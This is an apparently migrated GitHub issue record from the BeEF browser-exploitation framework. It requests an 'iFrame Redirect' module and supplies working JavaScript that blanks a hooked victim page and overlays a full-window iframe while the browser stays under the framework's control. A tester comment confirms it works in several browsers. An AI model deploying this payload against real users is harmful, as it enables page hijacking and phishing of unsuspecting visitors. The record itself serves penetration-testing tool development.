{"issue":{"state":"closed","created_at":"2011-12-05T09:32:40Z","updated_at":"2011-12-05T09:33:23Z","comments":13,"user":{"gravatar_id":"5ba9f77b20f8ee7f7bab04ca792a5ea7","id":306256,"url":"https://api.github.com/users/passbe","avatar_url":"https://secure.gravatar.com/avatar/5ba9f77b20f8ee7f7bab04ca792a5ea7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"passbe"},"body":"<pre>Add a module that permits redirection of a 100% x 100% foreground iFrame. The browser will remain hooked to the framework and continue accepting commands. \n\nThanks Yori for the following code which will provide a head start in the implementation. \n\nfunction do_main(){\n\tvar iframe = document.createElement('IFRAME');\n\tiframe.src = 'URL';\n\t// Calculate window size\n\t// Source: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow\n\tvar myWidth = 0, myHeight = 0;\n\tvar wPad = 0, hPad = 0;\n\tif( typeof window.innerWidth != 'undefined' ) {\n\t\t// Non-IE\n\t\tmyWidth = window.innerWidth;\n\t\tmyHeight = window.innerHeight;\n\t\twPad = 10;\n\t\thPad = 20;\n\t} else if (document.documentElement &amp;&amp; ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {\n\t\t//IE 6\n\t\tmyWidth = document.body.scrollWidth;\n\t\tmyHeight = document.body.scrollHeight;\n\t\twPad = 30;\n\t\thPad = 30;\n\t} else {\n\t\t// IE 7+\n\t\tmyWidth = document.body.clientWidth;\n\t\tmyHeight = document.body.clientHeight;\n\t\twPad = 30;\n\t\thPad = 30;\n\t}\n\n\tiframe.setAttribute(&quot;width&quot;, (myWidth - wPad) + &quot;px&quot;);\n\tiframe.setAttribute(&quot;height&quot;, (myHeight - hPad) + &quot;px&quot;);\n\tiframe.setAttribute(&quot;style&quot;, &quot;height:&quot; + (myHeight - hPad) + &quot;px; width:&quot; + (myWidth - wPad) + &quot;px; border:0px&quot;);\n\tiframe.setAttribute(&quot;scrolling&quot;, &quot;auto&quot;);\n\tiframe.setAttribute(&quot;id&quot;, &quot;f&quot;);\n\tdocument.title = &quot;TITLE&quot;;\n\tdocument.body.innerHTML=&quot;&quot;;\n\tdocument.body.appendChild(iframe);\n\n\treturn &quot;IFrame Redirect Sent&quot;;\n}\n\nvar result_value = do_main();\n</pre><br>Original link: http://code.google.com/p/beef/issues/detail?id=121","assignee":null,"id":2447192,"labels":[{"color":"ededed","name":"imported","url":"https://api.github.com/repos/passbe/beef-migration-test-2/labels/imported"},{"color":"ededed","name":"Milestone-Release-0.4.2.1","url":"https://api.github.com/repos/passbe/beef-migration-test-2/labels/Milestone-Release-0.4.2.1"},{"color":"ededed","name":"Priority-Medium","url":"https://api.github.com/repos/passbe/beef-migration-test-2/labels/Priority-Medium"},{"color":"ededed","name":"Type-Enhancement","url":"https://api.github.com/repos/passbe/beef-migration-test-2/labels/Type-Enhancement"}],"number":224,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"title":"Add Module: iFrame Redirect ","closed_at":"2011-12-05T09:32:45Z","html_url":"https://github.com/passbe/beef-migration-test-2/issues/224","url":"https://api.github.com/repos/passbe/beef-migration-test-2/issues/224","milestone":null},"action":"created","comment":{"created_at":"2011-12-05T09:33:23Z","updated_at":"2011-12-05T09:33:23Z","user":{"gravatar_id":"5ba9f77b20f8ee7f7bab04ca792a5ea7","id":306256,"url":"https://api.github.com/users/passbe","avatar_url":"https://secure.gravatar.com/avatar/5ba9f77b20f8ee7f7bab04ca792a5ea7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"passbe"},"body":"scotty.b...@gmail.com on January 03, 2011 01:07:16:<br><pre>Functionality works on win7 with ie8/chrome/ff and ubuntu 10.10 ff\n\nCreated #224 with the two scroll bars in ie8 on windows.</pre><br>Original link: http://code.google.com/p/beef/issues/detail?id=121#c13","id":3014072,"url":"https://api.github.com/repos/passbe/beef-migration-test-2/issues/comments/3014072"}}